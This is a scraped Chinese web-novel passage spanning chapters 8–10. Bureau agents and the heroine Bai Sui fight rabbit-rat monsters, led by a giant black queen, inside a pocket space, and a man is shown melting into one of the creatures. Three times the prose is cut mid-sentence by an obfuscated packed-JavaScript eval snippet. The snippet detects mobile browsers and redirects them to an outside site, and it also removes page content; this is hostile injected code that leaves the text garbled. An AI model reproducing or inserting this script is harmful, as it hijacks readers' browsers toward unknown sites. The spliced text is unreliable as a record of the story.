“不用不用,我们要谢谢你。”柯碟子连忙摆手,她说着朝驼背男方向看。他周围那些奇怪的动物静静蹲坐着,下半个身体的白毛都染上了血点,柯碟子起初以为它们死了,但每个脑袋上的圆耳朵还在时不时抽动。 柯碟子仔细看后发现,它们的每只眼珠上都插着一根细针。 她听见随后出门的柏穗询问舒思:“你是地下市场管理局的人?” 什么是地下市场管理局? 她转过脸来,舒思的神情仍然没变:“如果你说的是‘异化局’......是的。” 哇,这名字高端多了。 柏穗看着舒思没什么表情的脸,在心里悄悄说,同事啊,幸会幸会。 这时柯碟子问舒思:“它们眼睛上怎么有针?” “我插进去的,它们视力受损就不会动了。” 柏穗心中讶异,能把针准确插进兔鼠眼睛而不受到伤害,要么舒思的远距离发射的准头极佳,要么她的速度极快,能在兔鼠攻击她前手动将细针戳进兔鼠的红眼珠。 更有可能的是,她二者兼有之。 不知道什么时候开始,四处路人都消失不见。市区不像郊外,极高的人口密度足以让人在白天找不到一处僻静的地方,但现在放眼望去,除了他们四人,再看不到第五个人了。 头顶斜上方的飞铁好久没有一班经过,每层楼外永不停歇的平梯上也空无一人。 柏穗视线扫过左右平梯,突然想起一双无神的眼睛:“你有没有看到一个绿裙子女生?” “没有。”舒思转移目光,看向驼背男:“这是你们同伴?另一个死透了,抱歉。” “他们是坏人!”柯碟子说。 “只是试验品而已。”舒思小声地自言自语,但被柏穗听到了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389592|184218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>试验品?是说他们身上应用的不成熟的改造技术吗? 柏穗早就感受到,这两人被改造得十分不合理。按理说改造后应该很强,但现实来看,他们并没有自己表现出的那样身手高超。 他们一个将防护金属安装在背上,深深压迫了脊背;另一个改造了金属手臂,纵有力量,但是没有远程攻击的武器,本人的反应速度也慢半拍,还不如驼背男的反应快。 钢铁之躯对付普通百姓是够用了,但碰上改造良好的赛博格就远远不够看。 如果这样的改造说是试验品,倒也有道理。如果是故意拿活生生的人来做改造试验,柏穗觉得他们的改造者一定冷血且有钱有势。 “这附近的人都被你们转移了?”柏穗问道。 “你知道异化局,但不知道空间规则?”舒思没回答她的问题,而是反问道。 柏穗在管理局做客几小时,对于地下市场空间和变异动物仍然知之甚少。可是现在的情况和那个空间有什么关系?附近的人去哪儿了? “我只知道地下市场所在的空间很奇特。难不成市里的......”柏穗犹疑地说,突然灵光一现,一下子感到自己先前迟钝无比。 已知吸血守宫无法穿过地铁站出口,只能待在地下空间里,那为什么其它变异动物不能也是这样呢? 柏穗原本还在奇怪,兔鼠为什么能在市里突然出现而没引起骚乱。它们体型不像吸血守宫那样细小,如果一直生存在市区里,不可能不被发现。 她能想到的唯一的解释就是,他们现在所处的地方早就不是现实空间了,而是像息盘地铁站内部那样的另外一个空间,一个存在变异动物的空间。 而她们不知道什么时候误入了空间,驼背男那两人也是。 绿裙子女生大概是没在这个空间中,在柏穗的记忆里,看到兔鼠后,平梯上就没有了她的身影。 “地上空间入口不稳定,我们要在入口关闭前找到出口。”舒思冷淡地讲。也许是想让她们了解现在的情况以免过度恐慌,随后舒思给她们大致解释了空间相关的规则。 地上空间入口不像地铁站那样固定,而且出现频率极低,且一旦出现,隔段时间便会消失。在此之前没能出来就会被困在里面,运气好的能等到下次入口出现,运气不好的只能在空间里生活,同时还得防范可能存在的变异生物。 大多数市里空间都很小,陆地范围几平米,出入口也都符合人类动线,很可能进去后不自觉地又出来了。 也许有人会察觉自己走着走着突然后退了几米,但大都自己给出合理的解释——“工作太累了”“困出幻觉了”“刚刚在发呆”,因此不会引起大规模恐慌。 为了能够及时发现市里随机出现的空间入口,管理员有专门仪器进行空间波动测量。 正常情况下。数值在0处上下波动;当数值超过10,就说明附近应该有小空间入口;如果数值超过100,那么就是一个地铁站大小的空间。 以此类推,空间越大,数值越高,总体数值随空间大小呈对数型增长,也就是数值的增加会越来越缓慢。到了一定程度后,也许数值只增加1,空间却已经是之前的成倍大小。 在空间内部寻找出口时,则需要找到数值最低点。相应地空间范围越广,寻找出口也就越困难。 舒思从口袋里拿出一个仪器开机,那是个蓝牙耳机盒大小的黑色方盒。柏穗看到,屏幕上面显示的红色数值为“1092”。 8. 新秃毛兔鼠 舒思早在进入空间之前就测量过数值,所以并不惊讶。不知情的柏穗则难以置信地凝视这个数字:这个空间有可能比整个城市都要大。 柯碟子此前从未进入过空间中,但听了舒思的一番解释后也算是基本理解了情况。 她皱起鼻子,问道:“你们找到出口了吗?” 舒思摇头:“目前还没有,我刚进来,同事还在找。” “刚进来?” “刚进来就看到他差点被白兔鼠吃了。”舒思朝驼背男的方向抬抬下巴。 柏穗的关注点是这种生物真就叫兔鼠,她觉得自己是取名天才。 柯碟子又问:“你的入口是哪里?” 舒思看向柯碟子的店铺:“就是这个门。” 柯碟子跳脚大喊:“你把我的门砸了?不然怎么进来的?” “门没关好。”舒思冷静地补充。 柯碟子熄火了。 想来柯碟子今天进入店铺时就已经身处另一片空间里了,只是她自己没察觉到。 舒思问:“你今天几点到达的店铺?” “早上七点。”柯碟子乖乖地回答,比柏穗到店的时间没早多少,她每天早上都是这个时间准时开店,不会有错。 舒思环顾四周:“现在时间八点十七,地上空间持续时间最长记录没超过两小时。” 问题是柯碟子到店以前,这片空间的出入口到底开放了多久。 “所以现在很有可能我们已经出不去了?”柯碟子倒抽一口气。 “以前没出现过这么高的数值。情况也可能改变。”柯碟子长舒一口气。 “不过根据经验,出入口存在时间和空间大小没有明显关联。”柯碟子决定不再对舒思的话有所反应。 “这个空间很大,食物充足,而且这里的东西都是可以用的。”舒思似乎是想安慰她们,但是效果并不好。 柯碟子宁愿和自己的种子们一起饿死也不想在这个空间生活。 柏穗看向手中的万能充电器,没猜错的话,这个就是空间里对现实物品的复制品。 小刀的电量早就充满了,她把充电器放到地上。 柯碟子想到自己的店,开始充满希望地预想自己可以拥有双倍的种子。舒思接下来的话却给她浇了一盆冷水:“不过不能带出去。入口下一次打开前,我们可以在这里一直生活。” “同时躲避兔鼠?”柏穗接话道。这么大的空间,很难说兔鼠的数量会达到怎样的量级。想到密密麻麻涌出的吸血守宫,柏穗不自觉打了个寒战。 她的种田大业刚起步就要就此腰斩了吗? 柏穗失落的目光落在“净土”的小窗口上,像突然被什么东西击中,她反应过来:“不对!” 另外两人望向她。 “我七点多的时候在窗口那里还和柯碟子对话了,所以当时她绝对不在这个空间里。” 一旦这样想就很顺了,柏穗继续说:“她是给我开门的时候再次穿过了入口才进入这里的。所以空间入口出现时间一定在七点之后。” 舒思的呼吸暂停了片刻,她扬起眉毛望着柏穗:“那么我们的希望又大了几分。” “舒思,你也来了?”一道浑厚的男声传来,柏穗听着略有耳熟感。 她和柯碟子望向来人,他眉骨很高,眼窝极深,眉形斜着向上,这也是他看上去凶狠的原因。他左眼的黑色眼罩上绣着深蓝色的盾牌形状图案,叶片缠绕其上,看起来古旧又神秘。 他之前和柏穗已经碰过面了,正是柏穗进入地铁站时不小心用手臂打到的眼罩寸头男。 柏穗意识到,凌晨时分赵甫身上管理局的标志给她的熟悉感,就是来自这当初匆匆瞥过一眼的眼罩。 原来他也在管理局工作。 不过夜里他出现在地下市场,说明上的是夜班吧?为什么现在还在执行任务?地下市场发生骚乱时,他也没有出面解决。 更重要的是,他没穿宝蓝色工作服。 柏穗隐隐记起赵甫向于静岳报告时,有提到一名在地下市场辅助调查案件的管理局成员,他正好逮住了真理塔逃犯。 如果那名成员是他,那一切就都可以解释了。 “你们好,我是异化局的管理员,叫邵封怀。舒思跟你们介绍过自己了吧?”柯碟子原本躲到柏穗后面,见邵封怀说话友好,又站回柏穗身边。 柏穗柯碟子一齐摇头。 “舒思,不是跟你说过,介绍自己的名字能让被解救人更加信任吗?”邵封怀对舒思恨铁不成钢地说,舒思木然地垂下眼皮,“这位是舒思。不用担心,我们会一起把大家救出去的。” 两名被解救人不信任地看着他。 邵封怀问舒思:“还派来了几个人?” “我巡逻中发现这里有个入口就进来了,不是从局里出发的。” “什么?你进入前不知道报告一下吗?你一个人贸然进入......”邵封怀发觉自己的语气渐渐急迫起来,深吸一口气,沉默了几秒说道:“安丹他们在北边搜索出口,给我同步了两处兔鼠出现的地点,另外还有几十个人等着救出去。” “这里不用搜索出口吗?”柏穗问。 “这里的仪器检测数值过高,而北边数值普遍低于八百,出口在那里的可能性更大。” 柏穗想帮上点忙,但是直接对这两人说自己是“实习生”有点奇怪,也缺少证据证明。毕竟管理局没有给她发“恭喜您通过面试进入我司实习”的短信,她是“走后门”进来的。 柏穗想到鲁鸢,她尝试给下班的鲁鸢发送消息,没想到她还没睡,即刻便给了回复。 “你遇到的管理员有谁?” 柏穗不知道两名管理员的名字怎么打出来:“一个没什么表情的女人和一个戴着眼罩的寸头男人。” “舒思和邵封怀?我知道了。” 柏穗想了想,在下班时间打扰鲁鸢有些过意不去,于是关心道:“你怎么还没睡?” “我在熬夜。” ......合理。 没过几秒,邵封怀明显是收到了手环消息,柏穗竟然有点紧张,他查看后神情变了变,对柏穗说:“你就是鲁鸢说的实习生?” 见柏穗亲口承认,邵封怀转过来问舒思:”我们局什么时候招实习生的?” “不清楚。”舒思答道。 原来“实习生”还是专属柏穗的“萝卜坑”岗位。 “那今天就是你的第一个任务。”他拍拍柏穗的肩膀,柏穗被拍得踉跄,她勉强笑了笑。 “我们先把你们带往北边,等找到出口就送你们出去。那边那个就我来负责。”邵封怀说的“那边那个”就是还没缓过来的驼背男,他不愿意面对现实,还缩在那里。 柏穗总感到不对劲,北边的搜寻人员只找到两处兔鼠出现过的地方。零市是旧时代的三个大城市合并发展而来的,而近一半的区域就只有两处兔鼠出没? “你跑什么?”邵封怀呼喊道。 众人看去,驼背男忽然跑起来,绕过呆立的兔鼠,往平梯延伸的方向狂奔。他的速度惊人地快,比之前被兔鼠追赶的时候还要快上几倍,根本不像是人类能达到的速度。 柏穗皱起眉,事情的发展有些出乎意料。 “我速度快,我去追他,你们先走。”舒思说道,动身去追。 “我,我......”柏穗含混地蹦出几个字,没说出个原因,也跟着舒思跑走了。 邵封怀想说的话还没出口,只好咽了下去,转而对柯碟子说:“那我们先出发。” 他们背过身走远了,却没发现蹲在原地好久的兔鼠忽然停止了耳朵的抽动,也顺着驼背男的路径蹦蹦跳跳地离开。 “净土”门前彻底地安静下来。 舒思跟着驼背男拐了个弯,又看着他进入了一个大型仓库,不知道他突然发什么疯,只好继续跟上去。 仓库里成堆摆放着一列列箱子,驼背男要是想在这里躲起来,还得费一番工夫才能找到他。 舒思放慢了速度,边走边喊:“你到这儿干什么?还有人在这里要救吗?” 奇怪的是明明仓库里摆满了箱子,舒思的声音却在这里回荡,产生阵阵回声。 “要救吗——” “救吗——” “吗——” 回声还没荡尽,身后传来柏穗的声音:“舒思,这里的数值是多少?” 舒思不明白查看的意义,这里和“净土”的距离不远,数值的变化一般不会很大。 可是看到屏幕上波动的数值,她的瞳孔惊缩。 263、278、314...... 出口竟然藏在这里! 随着数值缓慢爬升,她慢慢抬头,她听见柏穗的声音如拨动的琴弦般抖动,发出的声音却并不悦耳:“舒思,你看。” 每堆箱子的顶部探出无数兔鼠的脑袋,它们先前就像在隐藏自己的气息,直到这时才静静出现,给闯入者带来无声的恐惧。 柏穗猛地转身,那几只被戳瞎眼睛的兔鼠竟然精确地找到了这里,但它们没有攻击柏穗和舒思,而是跳到一堆箱子上面,融入兔鼠群。那堆兔鼠帮助它们把针叼出来,完整的针竟有十厘米长。 接着那几只兔鼠就和其它兔鼠一起,用它们的瞎眼“看着”柏穗和舒思。 兔鼠给柏穗的冲击性远远大于吸血守宫。 而她们两人闯入了有成百上千只兔鼠的老巢! 舒思所说的兔鼠的弱点已经不复存在,它们即使被戳瞎了眼睛也可以自由活动。 更重要而令人绝望的是,他们要找到出口,极大可能就在这里,至少比出口在北边的可能性大。 舒思经历的警告事件不少,她迅速冷静下来,先给邵封怀发去消息和定位,让他赶紧通知其余人往这里赶。然后她望向柏穗:“鲁鸢说你能精神链接?” 柏穗僵硬地点头。 “时刻准备好。”舒思又说。 整间仓库明亮而温暖,只有唯一一处没有光照。那里被兔鼠们用箱子搭成了一个洞穴,洞穴里像是绝对黑体一样不反射任何光线。 舒思想趁兔鼠还没发动攻击,寻找出口的具体位置,但是她一动就会被附近的兔鼠“吱吱吱”地露出大板牙威胁。她好站在原地观察。 突然,兔鼠们齐齐望向洞穴,洞穴两边的空地上,两具人类身体被兔鼠们一顿一顿地推了过来。 其中一具正是驼背男,他的脸模糊不清,像是融化的蜡体。另一个则是柏穗之前见到过的绿裙子女生。他们都处于昏迷状态,胸口还有起伏。 兔鼠们把人类身体推向洞穴而不是自己吃掉,柏穗想到了人类活动中的“献祭”和“上贡”。 那个被兔鼠们精心搭造的洞穴里,究竟是什么? 突然,洞穴动了,更准确地说,是洞穴里面的东西动了。 在洞穴的晃动中,一对猩红的眼珠浮出黑暗。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389593|184218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 一只巨大的黑色兔鼠正露出它的脑袋,它刚才是在调转身躯,现在才正面对着洞穴口。 普通的兔鼠只比田园猫稍大一圈,这只黑兔鼠则有一头小象那么大。它黑色的皮毛光滑暗沉,老鼠胡子钢针般坚硬,柏穗怀疑小刀能否一下切断它的胡子。 显而易见,它是这群兔鼠的君主和国王。 它细细打量着左右两具身体,似乎觉得不错,响亮地“吱”了两声,两边的兔鼠就低着脑袋退开,找了堆箱子跳上去如释重负般歇着。 其余兔鼠们也随着兔鼠王的满意而开始交流起来。 仓库里两种生物,三种状态,愉快放松、完全昏迷还有极度紧张。 “你们知道还有兔鼠王吗?”柏穗生怕惊扰它们目前欢快的氛围,轻声问道。 舒思回她说:“知道有罕见的黑兔鼠,但都是正常体型。” 兔鼠王的体型明显超出这个群体的正常范围。 它环视自己的子民们,似乎才发现柏穗和舒思两人,它的尖鼻子左右摇摆,像闻到了什么美味。 十几只兔鼠轻盈如雪落般跳到地上,它们把柏穗和舒思两人团团围住,逼迫她们走向兔鼠王。 “先别攻击。”舒思沉住气,对柏穗说。 见到兔鼠们如此有秩序和领导的行为,柏穗甚至在想,她们能不能和兔鼠王谈判,就放她们走吧,绝不打扰它进食......再带走绿裙子女生行吗? 柏穗紧张得胡思乱想,脚步被兔鼠催着往前挪动,一直到兔鼠王所在的洞穴前两米左右才停下。 这时柏穗自己预估的两米,实际上可能更近。 两米的距离,兔鼠王稍微动一动就能咬死她,或者用胡子戳穿她,或者用爪子划拉她,到时她的肠子会像水一样流出来。 兔鼠王凑上前,仔仔细细闻了又闻,柏穗屏住呼吸,兔鼠王的身上有一种恶心的气味,也许是因为它不吃草,吃的是人肉。 兔鼠王直起身敏锐地望向门口。柏穗缓缓转头,看到了柯碟子快速缩回去的身影。 不出所料,没一会儿柯碟子和邵封怀就被兔鼠们包围着走过来。 柏穗和舒思:...... 邵封怀说:“我们还有五个人正在赶过来,等他们来了,我们或许就能得救了。” 柯碟子年纪太小,她不怕老鼠也不怕兔子,可是见到这一幕她的腿都软了,还是邵封怀扶着她的胳膊才勉强站立。 “或许”,这种没有把握的词语对于柏穗来说十分不美好,就像一把从屋檐上掉下来的冰凌砸中她的脑袋。 她讨厌不确定性,特别是在这种危急关头,来自权威人士的不确定性。她生理性地颤抖,仓库的灯光为什么如此刺眼。 也许不是讨厌,她可能只是害怕。 她害怕自己穿越过来一个月就失去第二次生命,害怕自己对这个世界的规则还一无所知就平凡死去。 唯一的好消息是她的提前死亡也算是战胜了自己的疾病。 其实不算,精神胜利法性质的战胜而已,她也知道这个。 她又想到这一切都似乎从符律师开始,无论是凭空出现的有关家人财产的合同、种出钩吻的要求,还是符律师给她推荐的息盘地铁站。 从阴谋论的角度讲,符律师是不是算好了一切想要害她? 那份合同为什么恰巧在她穿越那天发来,原主柏穗难道一直不知道这份合同的存在? 她在地铁站怎么就恰巧遇上被真理塔追击重伤的逃犯?正好让吸血守宫成群出现狩猎?正好碰见前管理员于静岳给她指明种子可能的获取途径,又被她保护出站,还得到一把能够精神链接、市面上都没得卖的小刀? 怎么隔了两三个小时,她来到海冲路就又碰上一个前所未有的巨大地上空间? 柏穗知道自己想得过头了,她只是太紧张,再说,她有什么可被费尽心思谋害的必要性? 但细想确实一切太巧。 而她又确实没有时间继续想,因为兔鼠们又在兔鼠王的命令下逼迫她们后退。它们之间不需要交流,像在同一张神经网上,兔鼠王的思想能够远程传播到它们的脑海里。 驼背男率先醒来,柏穗此前光顾着眼前的兔鼠王,没仔细看他。现在注意到他的动作,转过脸,却只觉得凉意如城墙上的爬山虎一样爬满她的后背。 她喉咙发紧,干涩地吞咽口水。 她没看错,驼背男的脸确实如燃烧的蜡烛。他似乎想说话,但是融化的皮肤已经将他的嘴蒙上。 他“呜呜”作响,如果他的嘴没被捂住,柏穗直觉认为他应该是想说“吱吱吱吱”。 怎么会呢? 然而他的脸不是静止的,他的脸还在继续融化。原本的下巴融成一团软塌的肉,他嘴巴的位置朝前延伸,涎水混着融化的皮肤组织,黏糊糊地滴在衣领上,每一秒都在变得更加陌生、更加不像个人类。 除了脸,他的整个身体都在重塑,肩膀往内缩,个子一点点变矮。他的耳朵越来越大,整具躯体却在越来越小。他的膝盖反向弯曲,本就驼的脊背还在不受控地往下弓,直到他再也无法维持站立。 他的上衣、外套、裤子和鞋子都被撑破,露出光秃秃的兔爪。随后他浑身长出细细的绒毛,胡子轻轻晃动。 他后背的金属“哐当”掉落在地,柯碟子猛惊了一下,她只往那个方向瞥了一瞬便紧紧闭上了眼。 此刻站在众人面前的,是一只秃毛兔鼠。 9.眼睛和大脑 “你们知道兔鼠能从人类转化过来吗?”柏穗嘴唇翕动片刻,才听到自己的声音。 即便还没等到回答,柏穗心中也已有了答案。 这只没什么毛的兔鼠如同新生儿一般发出在这个世界的第一声响亮啼哭,如蝉鸣,如哭泣: “吱吱!” 你还能期望一只兔鼠怎么叫呢? 舒思平静如湖面的脸终于泛起涟漪:“他们还有多久能到?” 邵封怀查看手环消息:“预估三分钟。” “等他们来了我们再动手。到时候柏穗你负责找出口,在疑似出口点仪器会亮绿光。”舒思把检测仪塞到柏穗手里。被她拿在手里这么久,仪器仍然是冰凉的。 白兔鼠为什么不吃捕获的猎物,而是将他转化为同类? 柏穗心里有个可怕的想法。 就在此时,晕倒的绿裙子女生动了,她先是睁开眼睛,然后在兔鼠王和柏穗四人的注视下缓缓起身。 她的眼睛很大而有神,和走在平梯上时判若两人,好像能看透一切,看穿你的此刻与将来。 但似乎看不透现在的局面。 她无视了周围“鼠”视眈眈的变异动物们,眼睛转向柏穗,注视着她说:“你好,我叫许墨赋。请问这是哪儿?” 舒思暗道不好,她的手伸进内侧口袋,时刻关注着兔鼠王的动静。 邵封怀将胳膊弯曲置于身前,五指张开,摆出战斗准备姿势,他对柯碟子低声说:“紧跟着我,如果柏穗发现出口,能找到机会就往她那里跑。” 柯碟子浑身僵硬,闯进兔鼠窝,压抑害怕就足以耗费她所有精力,但她还是听进去了邵封怀的话:“我,我知道了。” 倘若情况没这么糟糕,柏穗会微笑着回答许墨赋:“您好,咱们这儿是兔鼠咖,您缴了费就可以乖乖送上门给兔鼠吃掉了哦。” 然而还没缴费呢,兔鼠显然已经等不及了。 它们仿佛转变了心意,认为许墨赋不是什么优质的可转化容器。 在其余管理者还未到达之时,它们躁动了起来。 然而不是所有兔鼠一齐行动,仅有周围的几排箱子上的部分兔鼠一跃而下。 尽管如此,单个兔鼠已经很难应付,更别说就近的十几只兔鼠一同扑上来。 柏穗终于可以看到舒思的现场版打斗场面。 舒思灵巧地在兔鼠之间穿梭,只见她足尖轻点地面,躲过兔鼠的利爪,同时也从衣袖中弹出数只细针“咻咻咻”射入兔鼠眼睛。 在空中被袭击的兔鼠吃痛摔落在地,发出短促的哀嚎,但仅仅几秒行动就恢复如初。 它们好像不需要视力。 舒思目光沉着,仍然选择继续发射细针,将攻击状态的兔鼠引向与柏穗相反的方向。 有柯碟子在身旁需要保护,邵封怀不能像舒思那样轻易四处移动,他几乎是在原地抵挡兔鼠。 兔鼠也知道二人中谁更弱一些,它们扑向柯碟子,邵封怀利落转身,伸手抵挡。 柯碟子眼睁睁看见几组黑色液体从邵封怀的手心飞出,碰到兔鼠的瞬间凝结成固体。 邵封怀有意瞄准兔鼠的两只后腿,那是它们强大弹跳力的支撑。兔鼠沾染了黑色液体的后腿顿时石化了一样,肌肉无法发力。邵封怀便趁机斩下它的脑袋。 一时间血液直溅,喷涌出来的红色液体像是油漆一样浓稠。 有被舒思弄瞎眼睛的兔鼠转而朝邵封怀伸爪,它张大着鼠嘴,露出鲜红的口腔内部。 舒思躲避间隙朝邵封怀喊道:“不要杀死瞎了眼睛的兔鼠!” 虽然不理解这样做的用意,但邵封怀还是选择信任舒思。 他放弃对眼前瞎兔鼠的攻击,转而石化了一只尝试跳到他头顶的兔鼠,揪住它的后腿朝瞎兔鼠砸过去。 四人中离许墨赋最近的就是柏穗,她早在局面突变的一刹那就跑向许墨赋,拉着她的胳膊说:“跟着我走!” 柏穗带着许墨赋贴墙走,舒思告诉她出口一般依附着建筑体,在墙体或柱体表面。 虽然不愿意承认,但是仪器上的数值明显越靠近兔鼠王越低。她们正在逐渐靠近兔鼠王洞穴。 柏穗没工夫关注另外三人的情况,在快到兔鼠王洞穴背后时,两三只兔鼠奔向柏穗和许墨赋两人。 小刀早已候着,它像是被无形的丝线控制着提起,飞舞在空中直刺兔鼠绒毛稀少的腹部。 但兔鼠就像早有预判,它后肢猛地蹬地,在小刀碰到前就调转方向躲开了,空留几缕白色兔毛飘飘然落地。 柏穗突然无知觉地眼前一黑,然后看见许墨赋的脸。 “你没事吧?”许墨赋脸上透着关切,却丝毫不见害怕和惊恐,但柏穗来不及思虑她的怪异之处。她眼见着一只兔鼠朝她们跃来,急忙拉着许墨赋惊险避开。 只差一点,兔鼠的爪子就会蹭破许墨赋的皮肤。 柏穗强定心神,她有一瞬间感到晕乎乎的,如同刚从噩梦中醒来,分不清现实与虚妄。 这可能就是高强度挥舞小刀带来的反噬作用。 兔鼠近在眼前,她不得不专注当下。 那是一只眼睛里戳着细针的瞎兔鼠,它一跃而起,想要故技重施。柏穗却由不得它肆意妄为,心里念叨着“冷静冷静”,边快速后退边控制着小刀往兔鼠刺去。 “嗡!”小刀发出金属震颤声。 “刺中了!”她在心里欢呼,然而下一秒喜悦戛然而止。 小刀竟然穿透不了兔鼠的皮肤! 它像踢到钢板一样,触及兔鼠后又弹飞到一边,在空中停下。 怎么会这样! 柏穗绝望地眼见着兔鼠跃过许墨赋扑向自己,仍然不死心地让小刀调转刀头,从兔鼠背后发动最后一击…… 混战中,兔鼠王依然稳稳坐在它的洞穴里,注视着仓库里的一切。 舒思身后跟着一群兔鼠,她快到门口时,突然拐了个急弯,从内侧口袋里掏出手枪,发射一枪冲击力极强的子弹,击倒一堆箱子。 上面的兔鼠七零八落地踩着箱子跳下来,也有的躲避不慎,被箱子压在下面,然后被不知情的同伴踩到,原本“吱吱吱”的大声求救立刻便小了声息。 舒思当然不是为了逃跑,她甩开身后大多数跟着的兔鼠,回头目标明确地奔向兔鼠王的洞穴。 擒贼先擒王! 邵封怀护着柯碟子没被箱子砸到,虽说原来还在攻击他们的兔鼠一部分被箱子砸伤了,然而从箱子上下来的更多兔鼠加入了混战。 一只被压在下面的兔鼠够着胳膊想要抓伤她,柯碟子低头,抬起脚发力,一脚踩断执着动弹的兔爪。 邵封怀正忙着应付层出不穷的兔鼠,没注意着脚下,等他发现了柯碟子的动作,不由得“嚯”了一声。 眼见一个人类直面自己而来,兔鼠王终于有了反应,不再像之前那样像个运筹帷幄的君王一样端坐原地。 它眼神锐利地盯着舒思,跟在舒思身后的瞎兔鼠绝大部分失去动力源一样停住。 舒思借这一幕验证了自己的猜想: 那些瞎兔鼠能自如行动,绝不是因为它们进化掉了视力,而是因为它们在被兔鼠王控制着! 可以说,兔鼠王连接着所有兔鼠的思想,因此它可以给自己的子民精确无误地传达自己的情感和指令,必要时,它也可以接管子民的行动。 它是它们的眼睛和大脑。 但是这种控制十分有限,据舒思观察,兔鼠王一次最多只能同时控制十几只瞎兔鼠。而如果它自己需要应对敌人,这种控制就会立即断开。 舒思握紧了枪。 “噗。” 柏穗面前的兔鼠如同断了线的风筝掉落在地,它背后的小刀趁机狠狠插入背部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16401976|184218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,血液渗出,染红了兔鼠洁白的绒毛。 柏穗扶墙大口喘着气,她差点以为自己的生命要葬送在这里。劫后余生的喜悦漫开在她的心胸。 几只攻击她的瞎兔鼠此刻都立在原地,徒劳地嗅着气味,不敢走动。 柏穗不清楚它们会不会什么时候又能行动起来,她急忙要拔出小刀。 然而小刀插入兔鼠的程度过深,兔鼠的肉又十分紧实,柏穗尝试了几次,根本拔不出来,反而弄得自己脑袋里抽筋似的疼。 她只好弯腰,从摊成地毯似的兔鼠后背抽出小刀,带出几道血丝。 小刀依旧光滑无痕。 从小刀被兔鼠弹开时,柏穗就在思考,兔鼠可以从人类转化而来,就说明它们仍然属于生物范围,不至于不能被刀划开。 那小刀的弹开就是角度和力度的原因了。 如果不是精准让刀尖正对刺中兔鼠,如果不是力度大到可以刺破兔鼠的最外层的皮毛,凭兔鼠的移动速度,普通刀具或许很难伤害到兔鼠。 柏穗拿着刀柄起身,脑袋还是有些晕乎乎的。 回头一看,许墨赋正平静地看着兔鼠王的洞穴。她在看什么?柏穗的双腿不自觉地也往那里走了几步。 舒思也在洞穴口。 舒思怎么不动?她在等着兔鼠王行动吗? 柏穗又退回墙边,踉跄着经过兔鼠王洞穴的正后方,她没忘记自己的使命不是看热闹,而是找到大家的逃生出口。 许墨赋在舒思旁边比在她旁边安全多了,何况此时附近的兔鼠都是不敢轻易走动的瞎兔鼠。 柏穗看着数值在一点点下降,直到最低点一环荧光绿色的光照耀在墙壁上,映入柏穗的眼睛里。 “亮了!亮了!” 柏穗触碰墙壁,也许是因为灯光明亮,也许是因为她第一次观察这种奇异空间的出入口,她似乎感受到墙壁表面像是覆盖了一层薄薄的膜,但是如果不经意路过,绝不会有这样的发现。 没有错,出口就在兔鼠王的正后方!柏穗想要将消息告诉舒思她们。 仓库门口,一众管理者开着各式交通工具,携着误入空间的普通民众终于到达目的地,他们一路上没有遇见任何一只兔鼠,顺利得像是要进入陷阱。 “啊!这么多是什么!”普通民众哪里见过这些,他们原以为到这里就能出去了。 谁知道一仓库的怪物,地上遍地都是浓稠的红色液体,倒塌的箱子,还有一处正在混战,混乱中心是一大一小两个人,尽头洞穴样子的箱子内部黑乎乎的,前面站着两个女人,后面似乎还有一个人。 有个男人揪着就近的管理者不放,逼问道:“你们这是带我们去哪儿?你们是不是要诚心害我!” 管理者名叫孔西茉,她一头红发,一根根掰开男人的手指,握着他的手腕给了他一拳。 群众发出不约而同的惊呼声,让安丹桂轻笑了一下。 “我们是来救你们的,请不要怀疑这一点。大家听我们的指挥,一定会把你们完整带出的。”孔西茉微笑着说,随后换了副面孔指挥道:“安丹你去帮邵封怀,其余人保护好民众,跟我到舒思那里去。” 来的路上,邵封怀已经告诉过他们大致情况,就在刚刚他们又收到消息,出口就在那只巨大黑色兔鼠的洞穴后面。 舒思在看到柏穗手中的绿光时,不用她说,就知道她已经找到了出口,立刻便和其余人同步了消息。邵封怀也在尽力往她们这里移动。 有消息提醒,但舒思顾不上看,她见兔鼠王缓缓起身,它已经坐在那里很久,想要活动活动身体,但也许是察觉到了危险,它的眼神一直没离开过舒思。 而舒思和许墨赋都看到了兔鼠王身下的情形:几只篮球大的小黑兔鼠埋头在窝里,露在外面的兔尾巴自得地晃来晃去。 兔鼠王……是一只正在喂崽的母兔鼠! 10.是食物也是 带着兔鼠崽的黑兔鼠王在舒思眼中更添一分凶险。 柏穗也终于看到了舒思和许墨赋关注的东西,那几个团成团的小黑兔鼠。 但她没做出过多惊讶的动作,眼下有更要紧的事,她对舒思说:“出口在后面。” 舒思瞥了她一眼以作应答,柏穗才反应过来,舒思大概早就看到了仪器发出的绿光。 当下她立即拉走愣神看着小黑兔鼠的许墨赋:“走,你先出去!快!” 